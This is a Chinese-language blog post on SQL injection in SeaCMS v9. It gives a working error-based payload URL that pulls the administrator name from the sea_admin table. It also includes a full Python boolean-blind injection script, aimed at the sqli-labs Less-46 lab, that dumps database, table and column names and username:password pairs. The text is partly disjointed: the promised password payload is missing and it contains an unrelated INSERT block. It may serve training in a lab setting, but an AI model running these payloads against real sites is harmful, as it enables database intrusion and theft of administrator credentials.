seacmsv9管理员账号/密码注入

一、Seacms v9 SQL 注入漏洞分析与利用

(1)漏洞概述

Seacms(海洋 CMS)是一款基于 PHP5.X + MySQL 架构的视频点播系统,被广泛用于影视站点管理。在 Seacms v9 版本中,./comment/api/index.php 存在 SQL 注入漏洞,漏洞参数为 $rlist,可用于执行 SQL 注入攻击。

(2)漏洞成因

由于 Seacms v9 是开源的,我们可以直接查看其源码,发现 rlist[] 参数未经过严格的过滤和预处理,导致攻击者可以构造恶意 SQL 语句,实现数据库查询操作。

(3) 数据库结构

Seacms v9 版本使用的数据库默认名称为 seacms,其中管理员信息存储在 sea_admin 表。

html 复制代码
payload:
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`

2.插入数据:

sql 复制代码
INSERT INTO sea_comment (
    uid, v_id, typeid, username, ip, ischeck, dtime, msg, 
    m_type, reply, agree, anti, pic, vote
) VALUES 
(123, 456, 1, 'user1', '192.168.1.2', 1, UNIX_TIMESTAMP(), 'Nice video!', 0, 1, 5, 0, '', 3),
(124, 457, 2, 'user2', '192.168.1.3', 0, UNIX_TIMESTAMP(), 'Great content!', 0, 0, 8, 1, '', 2);

管理员用户密码注入:

payload

最后由md5解密得管理员账号密码为:admin

二,order by +布尔盲注

代码如下:

python 复制代码
import requests
from bs4 import BeautifulSoup
 
def get_username(response_text):
    soup = BeautifulSoup(response_text, 'html.parser')
    username = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')
    return username.text if username else ''
 
def boolean_sqli_exploit(payload_template):
    result = ''
    i = 1
    while True:
        left, right = 32, 127
        while left < right:
            mid = (left + right) // 2
            url = payload_template.format(index=i, char_value=mid)
            resp = requests.get(url)
            if get_username(resp.text) == 'Dumb':
                left = mid + 1
            else:
                right = mid
        if left == 32:
            break
        result += chr(left)
        i += 1
        print(result)
    return result
 
def inject_database():
    payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr(database(),{index},1))>{char_value},id,username) -- "
    return boolean_sqli_exploit(payload)
 
def inject_tables():
    payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{char_value},id,username) -- "
    return boolean_sqli_exploit(payload)
 
def inject_columns():
    payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{char_value},id,username) -- "
    return boolean_sqli_exploit(payload)
 
def inject_data():
    payload = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{char_value},id,username) -- "
    return boolean_sqli_exploit(payload)
 
if __name__ == '__main__':
    # inject_database()
    # inject_tables()
    # inject_columns()
    inject_data()
相关推荐
小徐Chao努力4 分钟前
【安全】加密算法原理与实战
安全·https·des·ssl·加密·aes·rsa
浩浩测试一下32 分钟前
网络安全中信息收集需要收集哪些信息了?汇总
安全·web安全·网络安全·oracle·sqlite·系统安全·可信计算技术
中云时代-防御可测试-小余1 小时前
阿里云CDN应对DDoS攻击策略
运维·安全·阿里云·云计算·负载均衡·ddos
CZIDC1 小时前
Linux系统安全-开发中注意哪些操作系统安全
linux·安全·系统安全
一个天蝎座 白勺 程序猿2 小时前
大数据(7.3)Kafka量子安全加密实践指南:构建抗量子计算攻击的消息系统
大数据·安全·kafka·量子计算
Bruce_Liuxiaowei2 小时前
网络安全应急响应-启动项和任务计划排查
安全·web安全
lsec5 小时前
签名不等于可信:详解PE数字签名校验的漏洞与主动规避方案
安全
apcipot_rain14 小时前
【数据库原理及安全实验】实验二 数据库的语句操作
数据库·安全·oracle
Factor安全15 小时前
CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE
安全·web安全·网络安全·tomcat·apache·安全威胁分析·安全性测试
心思这就是16 小时前
网络安全L2TP实验
网络·安全·web安全